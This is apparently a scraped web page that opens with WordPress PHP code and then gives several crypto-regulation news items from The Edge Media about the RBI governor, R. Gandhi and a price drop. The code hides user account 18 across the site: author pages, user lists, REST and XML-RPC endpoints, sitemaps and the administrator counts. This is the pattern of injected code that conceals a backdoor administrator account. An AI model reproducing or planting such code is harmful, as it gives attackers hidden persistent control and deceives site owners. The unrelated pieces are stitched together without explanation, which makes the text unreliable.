add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post RBI Governor once again raises “major concerns” about cryptocurrencies appeared first on The Edge Media.
]]>RBI Governor Das said that we need “credible answers” on contribution of private cryptocurrencies to the Indian economy going forward.
This is not the first time that the RBI chief has warned the Centre on the cryptocurrency front. Earlier in February this year, Das flagged potential risks to the financial stability.
Mr Das stated that he had communicated his concerns to the government, which has largely opposed trading in private cryptocurrencies in recent years.
In May 2021, the Deputy Governor of RBI said that they were considering ways to bring out a Central Bank Digital Currency (CBDC).
Recently, former RBI Governor R Gandhi told Bloomberg that cryptocurrencies should be treated as an asset or commodity in India and governed by existing laws for exchanges.
Mr Gandhi’s comments come as the government, which initially had proposed a ban on crypto trades, finalizes regulations for digital currencies.
Though the central bank has repeatedly voiced its concerns to the government over cryptocurrencies, trading in the assets surged to $6.6 billion in May, compared with $923 million in April 2020, according to Chainalysis.
Currently, cryptocurrencies falls under no regulation in India, which makes it a grey area for Indian investors.
The post RBI Governor once again raises “major concerns” about cryptocurrencies appeared first on The Edge Media.
]]>The post Cryptocurrencies should be treated as an asset : Former senior central bank official appeared first on The Edge Media.
]]>Once cryptocurrencies are accepted, rules governing commodity exchanges could apply and the coins could be used to pay for goods and services, R. Gandhi, former deputy governor at Reserve Bank of India, said during an event organized by the Internet and Mobile Association of India on Tuesday. “Then automatically people can start buying, selling and holding.”
Gandhi’s comments come as the Narendra Modi government, which initially had proposed a ban on such trades, finalizes regulations for cryptocurrencies. Although the RBI has repeatedly voiced its concerns to the government over cryptocurrencies, trading in the assets surged to $6.6 billion in May, compared with $923 million in April 2020, according to Chainalysis.
Regulators should have access to information about how much cryptocurrencies individuals hold for tax purposes and this should be shared with the exchanges, Gandhi said.
The post Cryptocurrencies should be treated as an asset : Former senior central bank official appeared first on The Edge Media.
]]>The post Cryptocurrency prices face a massive drop in last 24 hours appeared first on The Edge Media.
]]>Co-CEO of Zebpay, Avinash Shekhar says 40% of drop might look dramatic but it is quiet normal. He says these are mainly due to short term traders making profits. He also added that for the long term traders this might serve as the right oppurtunity for buying.
China has banned financial payment institutions from providing cryptocurrency servics. According to the news agency, Reuturs Bitcoin fell to a three and a half month low on Wednesday after that.
The post Cryptocurrency prices face a massive drop in last 24 hours appeared first on The Edge Media.
]]>